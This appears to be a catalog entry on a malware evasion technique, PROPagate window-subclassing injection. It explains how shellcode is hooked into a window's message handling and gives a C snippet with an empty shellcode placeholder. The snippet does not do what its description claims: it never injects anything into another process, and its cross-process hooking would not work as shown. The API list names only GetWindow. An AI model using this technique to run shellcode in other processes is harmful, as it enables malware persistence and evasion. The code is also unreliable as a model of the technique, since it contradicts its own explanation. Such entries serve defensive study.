Propagate

Created the Saturday 23 March 2019. Updated 2 months, 1 week ago.

This technique involves modifying the internal properties of a window in order to intercept and modify or monitor the behavior of the window when it receives messages. To do this, an application creates a buffer containing shellcode and injects it into the target process.

Then, it modifies the internal structure used by the specific properties, such as UxSubclassInfo and CC32SubclassInfo, to point to the payload.

Finally, the application modifies the property of the window. When a message is sent to the window, the shellcode is executed. This technique is known as Window Subclassing and is often used by adversaries to achieve persistence or execute malicious code.

Technique Identifier

U1214

Technique Tags

Window Subclassing Windows functionality internal structure UxSubclassInfo CC32SubclassInfo shellcode target process payload message injection

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

GetWindow

Code Snippets

Description

This code snippet first obtains the handle of the target window using the FindWindow function. It then retrieves the original window procedure for the target window using the GetWindowLongPtr function. Next, it sets the window subclassing callback function using the SetWindowLongPtr function. When a message is sent to the target window, the callback function will be executed, and it will execute the shellcode and call the original window procedure.

#include <windows.h>

// Function prototype for the shellcode to be injected
typedef void (*ShellcodeFunc)(void);

// The shellcode to be injected into the target process
unsigned char shellcode[] = {
    // Insert shellcode here
};

// The original window procedure for the target window
WNDPROC originalWndProc;

// The window subclassing callback function
LRESULT CALLBACK SubclassProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    // Execute the shellcode
    ((ShellcodeFunc)shellcode)();

    // Call the original window procedure
    return CallWindowProc(originalWndProc, hwnd, uMsg, wParam, lParam);
}

int main()
{
    // Get the handle of the target window
    HWND hwnd = FindWindow(NULL, "Target Window Title");
    if (hwnd == NULL)
        return 1;

    // Get the window procedure for the target window
    originalWndProc = (WNDPROC)GetWindowLongPtr(hwnd, GWLP_WNDPROC);
    if (originalWndProc == NULL)
        return 1;

    // Set the window subclassing callback function for the target window
    SetWindowLongPtr(hwnd, GWLP_WNDPROC, (LONG_PTR)SubclassProc);

    return 0;
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

Hexacorn | Blog PROPagate – a new code injection trick